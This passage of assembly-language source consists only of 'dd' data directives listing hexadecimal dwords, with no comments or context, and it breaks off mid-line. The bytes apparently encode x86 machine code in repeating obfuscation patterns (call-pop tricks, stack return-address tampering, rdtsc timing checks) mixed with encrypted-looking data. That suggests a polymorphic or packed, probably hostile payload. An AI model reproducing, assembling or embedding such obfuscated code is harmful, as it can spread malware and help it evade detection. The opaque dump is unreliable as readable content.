5F0ED217h, 4F4CFE4Ch, 1D599533h, 0BD8305E7h dd 5E70C81h, 83097500h, 0E72819BDh, 13740005h, 0C08B5350h dd 4D0B8h, 679D8D00h, 0FF05E9B2h, 83585BD3h, 0E72819BDh dd 11740005h, 0D0B85350h, 8D000004h, 0E9B1B49Dh, 5BD3FF05h dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 0ED057B10h, 116D8F10h, 0BD59589h, 0C08B05E7h dd 8045C381h, 858D0886h, 5EB1BD2h, 1465BD8Bh, 609005E7h dd 0BE8h, 0D066FF00h, 0F5FC7D8h, 0C5ACAF15h, 0BE9h, 9ECC3500h dd 0DF8B1069h, 2BFAFBB1h, 9E9605Ah, 0E4000000h, 2C26DE6h dd 1BE2B09Ch, 310F5250h, 6161585Ah, 0CD47BB50h, 0F907996h dd 858DDAB7h, 5EB1B8Fh, 6E9h, 3C6C7100h, 90CE6A5Fh, 7EBA6653h dd 50505AEAh, 0BAB96652h, 0E9310F85h, 8, 0BA23151Bh, 6351EAABh dd 6A90585Ah, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 0A09AC353h, 0CF61081Ah, 0ADD95FFh dd 0F18105E7h, 269633BDh, 424448Bh, 0CB2BF66h, 1BBA8589h dd 0BE905EBh, 0DE000000h, 0D27E58BAh, 0D374322Fh, 448B768Fh dd 0BD890824h, 5E71561h, 1BCE8589h, 0C98005EBh, 0E9BD83B1h dd 5E701h, 7B850Fh, 0C6F50000h, 0E732A585h, 9D294705h dd 5E70139h, 4E8h, 9AA7D200h, 870F50D4h, 7, 2C58BB57h dd 8B5F3AEEh, 0BB042444h, 0CCF954Bh, 4489008Bh, 0DF8B0424h dd 0AE958h, 0F0310000h, 54FC81C8h, 4108FA86h, 2B05B5FFh dd 0BF0F05E7h, 1B350D2h, 0A1858D5Bh, 3105EA7Dh, 0E7006995h dd 58A0F05h, 66000000h, 6147EB81h, 0E580D0FFh, 0E985890Ch dd 8B05E701h, 0E724618Dh, 0E1BD8305h, 5E719h, 0BA850Fh dd 81660000h, 0C6001BD9h, 0E732A585h, 6A4705h, 3E856h dd 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 29D4A3C3h, 0E808A586h, 4, 8A0FB5E2h dd 901F6EB9h, 448B5063h, 0CE90424h, 26000000h, 62F4B281h dd 7F9B57A8h, 8BB858A4h, 2EB95000h, 5B7BCD81h, 4244489h dd 4850Fh, 0BF660000h, 6A58967Ah, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0F0EEC355h dd 8B28F6EFh, 0E7097D9Dh, 5B5FF05h, 6605E72Bh, 858DD78Bh dd 5EA7DA1h, 0DACEE181h, 0D0FF101Fh, 0C5858B60h, 6105E721h dd 19E18589h, 9D2905E7h, 5E71515h, 2561BD83h, 0F0005E7h dd 8F85h, 859D8B00h, 0C605E705h, 0E732A585h, 0CE8B5605h dd 617BCF68h, 818EB2BDh, 0F16A2404h, 816616BDh, 0FFF7F8D3h dd 0E72B05B5h, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 73BB1FFBh, 6A20EC03h dd 2D8D8BA9h, 0F05E71Ah, 683h, 0B3D78100h, 8D6BB494h, 0EA7DA185h dd 0EAA9B905h, 0D0FF20E7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 86C35545h, 25618589h, 0CF8B05E7h, 32A585C6h dd 0E96C05E7h, 0Eh, 1293010Bh, 0F08CA09Ch, 0E5468E9Dh dd 7D685E50h, 8A774867h, 240481FCh, 63BD0906h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 17C35141h, 0B884F300h dd 0BEDE423Fh, 1CBF66F7h, 99B5FF04h, 6605E708h, 8D9EE9B9h dd 0E7392A85h, 0FFFE8B05h, 0DDBD29D0h, 8905E71Ch, 0EB1BBE85h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 0DA073A8Dh, 0C870F8Bh, 0F000000h, 681h dd 59B58900h, 6A05E71Ah, 51006A04h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 67785D0Ah, 0F7D77642h dd 23519509h, 0D28005E7h, 7158686Eh, 28B3E239h, 0A8240481h dd 6A1DC69Eh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 0AEEBC350h, 8E1E4990h, 0DE8B4A81h dd 4E8h, 1000000h, 5B575000h, 424448Bh, 8BD08Bh, 4244489h dd 66525060h, 310FCB8Bh, 5ADF8B66h, 60525058h, 0F310F61h dd 8Ah, 61585A00h, 50006A58h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 9838096Dh, 92E18166h dd 8820F7Ah, 53000000h, 27E98529h, 6A5F05E7h, 0DD95FF00h dd 6A05E707h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0E6BCC353h, 0AB6F6F5h, 918D8944h dd 8905E70Ch, 0EB1BCA85h, 0A9BD8B05h, 6A05E704h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 9CC0A080h, 9CBA810Eh, 686D189Ch, 0AA82CFA1h, 66DE8B60h dd 8161DF8Bh, 305F2404h, 0BD89557Eh, 5E71839h, 895B5650h dd 85012404h, 5E721A5h, 6A0B6Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 3BFD01C3h, 0ED986EE8h dd 9E8E5h, 1E3E0000h, 4E96815h, 6655D29Ch, 0F6B6F781h dd 97858D5Fh, 8005EB1Bh, 665070C2h, 896CC2BAh, 6A2404h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0A7BAB4C3h, 0FF1D8B59h, 0E701E995h, 57006A05h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0AE96329h, 34000000h, 5FEB0615h, 79B4B803h, 0A1B58DC5h dd 5105EB1Bh, 3F51D4B9h, 66965968h, 50AC04BFh, 50006A96h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 50D922DCh, 131C54A2h, 0D6805609h, 7E95022h, 0C8000000h dd 637D83D3h, 4899CFBh, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 17E79EFh, 0B19B4188h dd 0A147C281h, 0BA661E0Fh, 95FF0EE8h, 5E719E1h, 0D0FFCB8Ah dd 0B58BF98Bh, 5EB1BCAh, 6800Fh, 66500000h, 5A25E1BFh dd 1BC285C7h, 5EBh, 0EE90000h, 0FC000000h, 9F7ECF3Ch, 0B50FFF15h dd 7723C0EDh, 207E80A1h, 0B3840F00h, 6A000002h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 0C337C355h, 0B2DEFF5Eh, 9E96050h, 99000000h, 0E58CA359h dd 698F4CBEh, 6A20468Dh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 1B2C353h, 6DBD8B74h dd 8905E712h, 0EB1BC685h, 13E905h, 2CC50000h, 2F43BDC8h dd 0D27A89FDh, 55776713h, 0C4CB9080h, 0FE9EBh, 0F9560000h dd 6F41BA59h, 89404622h, 0E72C4985h, 388005h, 0FFF0850Fh dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 9E1BF6C3h, 958BAEFEh, 5E72539h, 0CE9h, 99D8B00h dd 4805E716h, 0B13458BFh, 5C38801Eh, 3F840Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0DEF3D2C3h, 6AB5907Dh, 0F2F3880h, 1484h, 3BCF8B00h dd 0EB1BC685h, 0B8830F05h, 33FFFFFFh, 0E70C859Dh, 0BD834005h dd 5EB1BCEh, 9D840F00h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0ECCAC350h dd 892865B9h, 0E71BD99Dh, 0E2EA8005h, 0FE86090h, 79000000h dd 0F92DB6B3h, 0B95DA55Dh, 2E624A14h, 52505A3Ah, 585A310Fh dd 9E85Fh, 4A1F0000h, 0B79EF21Bh, 6658C49Ah, 615BDF8Bh dd 0FFBF6650h, 0EBB390F1h, 1BCE8503h, 0E98005EBh, 0C661h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 99C35747h dd 0B3E6D27Fh, 9880F58h, 60000000h, 81665956h, 6174D3D2h dd 0F88B6650h, 6A240489h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0EDFCC350h, 0A57A7A61h dd 8B48D4B4h, 0E7047595h, 0BAB5FF05h, 105EB1Bh, 0E7330D9Dh dd 81BD2905h, 0FF05E72Ah, 0EB1BBE95h, 53006A05h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 1237054h, 0E72C39BDh, 0FC00B05h, 6085h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0DE69B4A8h, 0B4D9523h, 296105E7h, 0E70AC59Dh, 0C285C705h dd 105EB1Bh, 33000000h, 0E720059Dh, 40E905h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 82C85BC3h, 81666128h, 891B0DDBh, 0E713A595h, 1CC68105h dd 66000001h, 0E92FDEB9h, 0FFFFFD49h, 2AD59589h, 1E6805E7h dd 0F374EBFh, 489h, 84BA6600h, 243481A6h, 374E3F1Eh, 40473B9h dd 55BD8B09h, 6A05E724h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 2125330Ch, 14E89B59h dd 0EB000000h, 10067846h, 68A1506Eh, 7BCE50B5h, 0AE01AC6Bh dd 60FA3A4Eh, 1D19BD8Bh, 958905E7h, 5E71969h, 0B5FF5961h dd 5EB1BCAh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 0BDC35242h, 0D68B6676h, 256195FFh, 6A05E7h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 9E8AE3C3h, 0BD8B1C5Fh, 5E706C9h, 0C018D8Bh, 858B05E7h dd 5EB1BC2h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 4FC35343h, 5CB78012h, 0B83BCB81h, 0B29014B6h, 0BA66506Ah dd 6A90D822h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 37A3C353h, 86068638h, 8D492C34h dd 0EB1BD285h, 0D8BF0F05h, 89DE8B50h, 0BB662404h, 858DA850h dd 5EB1B8Fh, 50DF8B90h, 0B4605250h, 19B96626h, 310F613Eh dd 0CE8A5250h, 4AB6310Fh, 585A585Ah, 50006A90h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 0FA8B36Bh dd 89h, 5595FF00h, 2905E71Dh, 0E729158Dh, 31C08B05h, 0E70B21BDh dd 81BD8305h, 5E70Ch, 0BD830975h, 5E72819h, 50137400h dd 0B8C08B53h, 4D0h, 0B2CE9D8Dh, 0D3FF05E9h, 0BD83585Bh dd 5E72819h, 50117400h, 4D0B853h, 9D8D0000h, 5E9B1CDh dd 585BD3FFh, 38A0Fh, 8B660000h, 0FC08BDFh, 6A58FFB7h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 0E980C355h, 6, 7631F31Bh, 8C234C4h, 6860F00h dd 8B000000h, 0E706B195h, 6AC08B05h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0C3F5C356h dd 0E5F04414h, 8166325Ah, 0F8A2D4DFh, 1BE5858Dh, 6A05EBh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 47D953C3h, 31858998h, 0E805E71Ch, 10h, 0D3A02996h, 0C262563Bh dd 0BED7B731h, 321B8A4Eh, 0E95EB3B1h, 5, 586CAD71h, 0A8C681B0h dd 0E9000062h, 0Fh, 0EFB22AA0h, 0AFD51D58h, 60C12CECh dd 0BB493810h, 0 dd 34FFA7B0h, 0B5096033h, 5E712C9h, 14D9D31h, 5A6105E7h dd 0AF8DF281h, 0BF665084h, 0C2815C40h, 24DB09C9h, 0C9BF0F60h dd 0C2C28161h, 0F182636h, 89h, 1E148900h, 0CE9h, 2574EC00h dd 543D3D9Ch, 606B2F41h, 0EB81F81Ah, 3DE52E64h, 0A5BAB966h dd 2E60C381h, 0B5893DE5h, 5E71569h, 9DFCFB81h, 850FFFFFh dd 0FFFFFF96h, 55006A60h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 641D2181h, 0DFCAAD6Fh dd 0C08B3066h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 7DC35343h, 0FAB15CAAh, 5060F519h, 29558529h, 615F05E7h dd 81BD83FCh, 5E70Ch, 0BD830975h, 5E72819h, 50197400h dd 0B8C08B53h, 438h, 47D8589h, 9D8D05E7h, 5E9B493h, 585BD3FFh dd 2819BD83h, 740005E7h, 0B8535017h, 438h, 47D8589h, 9D8D05E7h dd 5E9B182h, 585BD3FFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 69C35343h, 8718DAE2h, 0B418D89h, 6A05E7h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0D51B43C3h, 0B824F01Dh, 0E9C08B5Fh, 13h, 0B07BBD70h dd 5A596E0Bh, 3D2D32FEh, 4AE6BB44h, 0E890628Ch, 96Ah, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 3BC35242h, 53DF1DCAh dd 0E83507BBh, 12h, 51C7FA9Fh, 5B211796h, 0A52882C8h, 6DD8C67Ah dd 60606474h, 51B58B61h, 6105E71Bh, 6D26B959h, 85891935h dd 5E71CE1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 42C35141h, 0E83E079Eh, 8F6h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 0CCC35040h, 0C27DF0ACh, 0FC6D9072h dd 0F7BF0F00h, 22F98589h, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 69CE2EC3h, 2BFD9D89h dd 9FE805E7h, 6A000008h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 8B69C353h, 0E7240D8Dh dd 39858905h, 6A05E716h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 10F1C350h, 65AADC63h dd 0EE9h, 0EBECFC00h, 2170223Dh, 0E95150BEh, 0E826E8C3h dd 83Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 0DAC35545h, 85894440h, 5E7015Dh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 19h, 46C35242h, 98615BA8h dd 7F4E8A6h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0F9E599C3h, 0B34E19E5h, 8B0F8E1Dh dd 1, 918589F9h, 6A05E700h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 109C350h, 3F5A50E1h dd 79CE8B4h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 14A290C3h, 6FA97C25h, 45858918h dd 8B05E72Bh, 0E712EDB5h, 768E805h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 89B13EC3h dd 0E7202985h, 55BD8905h, 0E805E725h, 73Ah, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0A9C35141h, 89FFBF0Fh dd 0E732B585h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 66564868h, 0E89714B9h dd 6EEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 1C35747h, 20078042h, 0FE9F9h, 16050000h, 0EF93AC5Dh dd 0ED1DA093h, 0C7D2298h, 498589EDh, 6A05E724h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 0B6D4C351h, 324B2D08h, 0FC116F18h, 689E8h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 0E02D2768h, 5958589h, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 8BA646C3h, 640E8C8h dd 10E90000h, 0F6000000h, 6F1EF8BCh, 48DF0CC7h, 88ED4D27h dd 89E9CFDDh, 0E71D1585h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0C52E477Fh dd 0E8FA8B7Ch, 5FEh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 78C35040h, 65B5298Bh, 8905E702h, 0E7155585h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 8D8BF5CFh, 5E71B79h, 5ADE8h, 0F9BF0F00h dd 24118589h, 0B58B05E7h, 5E70CD9h, 27FDB589h, 93E805E7h dd 56000005h, 2985895Eh, 6A05E72Ah, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 2B47C350h dd 0E719498Dh, 564E805h, 8F0F0000h, 18h, 0CE8h, 0B46C8900h dd 45D1725Dh, 0A2AAC363h, 0B5850976h, 5E05E713h, 2AF18589h dd 6A05E7h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 1FE85DC3h, 6A000005h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 5E0DC352h dd 12156801h, 4980E47Eh, 19B98D0Bh, 858905E7h, 5E70251h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0EFC35141h dd 0C0CC179Bh, 5D8D8B08h, 0B005E72Ah, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 88B479E5h, 5082E01Ah, 83E18166h, 0D8B60F0Ah, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 2DC35646h, 0CAA85FCAh dd 63017B4Ch, 0FEBF0F9Fh, 2880F52h, 51000000h, 6BA595Eh dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 0EAD5C357h, 899E3B5Bh, 0E72421BDh dd 88A0F05h, 50000000h, 1B1D9D89h, 8B5905E7h, 0F19D89C3h dd 0C105E72Eh, 820F04E8h, 6, 285D9D89h, 0F76605E7h, 50006AE2h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 8B90EC53h, 0E71AE1B5h, 31D82B05h, 0E72765B5h, 8B665005h dd 0F5059FBh, 1289h, 0CE800h, 7FA50000h, 0D436394Eh, 5ECDE712h dd 895E1141h, 7E9241Ch, 0A2000000h, 0F8B9A9AEh, 95FF0775h dd 5E71329h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 0EC35646h, 0C75A487Ch, 34406A71h, 9D896036h, 5E71645h dd 9D45E281h, 5B610797h, 481BD89h, 958D05E7h, 5E715C1h dd 0AE9h, 1CA20800h, 0FED4B221h, 894CAB04h, 57006A1Ah dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0E831AD34h, 2CDE40F4h, 8E0F993Bh, 0Ch, 68C0Fh, 810F0000h dd 0 dd 175B589h, 428905E7h, 0FD9D8904h, 8D05E702h, 0E7068195h dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 0CAC4FC91h, 0F7A5440h, 1A89F3BFh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0E0C35646h, 5C6137C2h dd 89F8D136h, 6A0442h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 0EAF651C3h, 7DE742FEh, 8D50E7FFh dd 0E71C1195h, 0B1BD2305h, 8905E72Ch, 55006A1Ah, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 6AAEE5BCh, 0D6BEAFF7h, 0ED80683Eh, 4428905h, 14E9h dd 5596AF00h, 0BF2E61D9h, 0CA07AA76h, 25E2E2A1h, 0E81835FAh dd 51958D25h, 6A05E70Ch, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 0BD59C357h, 0E8073EAh dd 8D89CC9Dh, 5E72515h, 6A1A89h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 5708F0C3h, 488D10FBh dd 291D16C5h, 0E70305B5h, 4428905h, 85858950h, 5E05E725h dd 12E9h, 7DCE7A00h, 5A66D900h, 451232F5h, 98F245A6h, 8DC3BF61h dd 0E7039995h, 0B58B5005h, 5E70C41h, 6A1A895Eh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 309EC357h, 5E189BE2h, 0B58BE8A6h, 5E728C1h, 0F044289h dd 0F57C8B7h, 8D5ECBB7h, 0E701C195h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 12E17381h dd 0CD90BE66h, 6A1A89h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 89F95DC3h, 6A0442h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 1103C6C3h dd 42F21711h, 0F9B58C53h, 27CD958Dh, 6A05E7h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 64EBF5C3h dd 8585296Dh, 8B05E713h, 0E717898Dh, 6A1A8905h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0E051C350h, 0A3D2AA53h, 8FA095BFh, 6A044289h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 8BEAC357h, 0F9958DCAh, 6A05E71Ah, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 5B0CC351h dd 53F9E1B5h, 6A1A8959h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 9BFBC356h, 0FB683753h dd 89F74023h, 0E707FD85h, 4428905h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 7CC35747h, 29046BB3h, 0E70AE9BDh dd 0C2E905h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 453160C3h, 0F569E03h, 0A59531h dd 6A05E7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 12C35343h, 0A1E981E4h, 8B43E1D1h, 0E70BDDBDh, 6A006A05h dd 0AE900h, 0DDB0000h, 4F2B03C0h, 7BF30539h, 6A006Ah, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0F0BF5C3h, 95FFF8BFh, 5E72A1Dh, 6AC3EA8Ah, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 0F29C351h, 0A87h, 4800F00h, 66000000h, 663981BFh, 0D567DE81h dd 6AC58Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 79ADACC3h, 71456FACh, 66B86418h, 0C08BF28Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0D4C35545h dd 7B5AC48Ch, 378C7507h, 0CBAEBE66h, 0C81BD83h, 750005E7h dd 19BD8309h, 5E728h, 53501974h, 38B8C08Bh, 89000004h dd 0E7177585h, 0FA9D8D05h, 0FF05E9B4h, 83585BD3h, 0E72819BDh dd 17740005h, 38B85350h, 89000004h, 0E7177585h, 9B9D8D05h dd 0FF05E9B1h, 6A585BD3h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 340EC352h, 8B52C8D4h dd 0E718018Dh, 810F5E05h, 6, 90D9D89h, 6A05E7h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 9F2589C3h, 14E2AB72h, 0C08BB6E5h, 1395858Dh, 6A05E7h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0B45C3FC3h, 6690BDCDh, 505FE7BBh, 0E63DD3BFh, 8D899022h dd 5E71999h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 6CA03CC3h, 0B226667Dh, 6AE24713h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0C679E74Eh, 8AF0A31Dh, 858DAA8Dh, 5EB36ADh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0B1C35545h dd 719D0325h, 8305E729h, 0BD8B05C0h, 5E73279h, 90FB8B66h dd 0FE8h, 26D2BF00h, 0C3E38FE6h, 5BE5D32Ah, 0D29A5D8Ch dd 3890Fh, 8B660000h, 0E9505FDEh, 8, 43D60DE9h, 291F79FEh dd 5830F90h, 60000000h, 61F9DA8Bh, 0BD31006Ah, 5E707A1h dd 9D89006Ah, 5E72C49h, 1A4D95FFh, 6A05E7h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 0F054A6C3h dd 0FC60D355h, 1AA1B589h, 8D6105E7h, 0EAA4AA8Dh, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0CC606DACh, 0B589755Bh, 5E72AEDh, 0BD0BD1FFh, 5E715FDh dd 2B8DBD83h, 0F0105E7h, 7185h, 6AD2B700h, 52006A02h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 6676D30Dh, 21858929h, 8B05E716h, 0E722F19Dh, 52505005h dd 310FD98Bh, 709393BFh, 89585A47h, 6A2404h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 0C0F0B9C3h dd 419589CCh, 0FF05E714h, 0E71ABD95h, 0E3816605h, 5AE93879h dd 0E800000Eh, 0 dd 0B7ED815Dh, 6605EB36h, 0D482F781h, 63DBD89h, 858D05E7h dd 5EA90FDh, 89505F50h, 6A2404h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 8BC16DC3h, 0E715D9BDh dd 35FF6405h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 8FC35343h dd 258964h, 0F000000h, 681h, 3D9D8900h, 0FF05E723h, 0E714FD85h dd 10D38105h, 6A213FF0h, 0C38166FFh, 0B5FFD58Bh, 5E71CE1h dd 29A19D89h, 95FF05E7h, 5E70451h, 15DE9h, 0B0FC00h, 0E6D8BF0Fh dd 0AE970h, 225A0000h, 0A6EA0EB7h, 4DE913FCh, 0B70F71E4h dd 0F613CD9h, 13983h, 6890F00h, 89000000h, 0E71CB99Dh dd 0C8B60F05h, 0BAFBBF0Fh, 6, 14E8h, 3233E300h, 6F57630h dd 6BCDA2CBh, 0C29A6D4Eh, 159763B9h, 6E907h, 93430000h dd 0D7ADAAB4h, 0E9C18B5Bh, 0Eh, 0E4896FC0h, 0AF6FB615h dd 0ABE0F926h, 8531E7F8h, 5E72E89h, 304E8C1h, 0E7143D9Dh dd 0E2F76605h, 11E9h, 0A107E700h, 5D4B0675h, 4D43BB4Fh dd 0E9879B1h, 0C82BA8E5h, 0C58D0152h, 5B05E70Bh, 0B589D18Bh dd 5E719B9h, 6E9h, 0A59D0B00h, 8B05E712h, 0E715C185h, 68C0F05h dd 29000000h, 0E70AC595h, 7C08305h, 0AE9h, 31A6A900h, 0A77BBAD3h dd 3C1FDB7h, 0E716719Dh, 0C08305h, 13119D03h, 0D03B05E7h dd 2E830Fh, 860F0000h, 3, 0E9D98B66h, 5Ah, 12E8h, 51265700h dd 48189567h, 0BCA309E6h, 6052F717h, 513C52BBh, 8F0Fh dd 5F5F0000h, 21D18D8Bh, 0BD8905E7h, 5E722EDh, 0F01E183h dd 2584h, 0DFBF0F00h, 21D1A583h, 89FE05E7h, 0E722D98Dh dd 0EB816605h, 958948CEh, 5E715C1h, 0A6E38166h, 0E9E1h dd 0B58D0000h, 5EABCF9h, 0C9D78166h, 0E9006A7Dh, 11h, 8BF5CDDCh dd 1B400C2h, 559EE0E6h, 915EDD91h, 0C195FF10h, 6A05E721h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 922BC352h, 0FD6E2713h, 80EB9B2h, 81660000h dd 835D83D7h, 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 0A4E7C3h, 9040A6C6h, 0FC248E0Bh dd 2E89BD8Bh, 0B805E7h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0FFC5C350h dd 1298BF66h, 233DBD0Bh, 0D22B05E7h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 99C35343h, 4D62E3A0h, 68A6DE7Ah dd 0A1BD8B40h, 0AD05E729h, 0E8D1C233h, 0E983D003h, 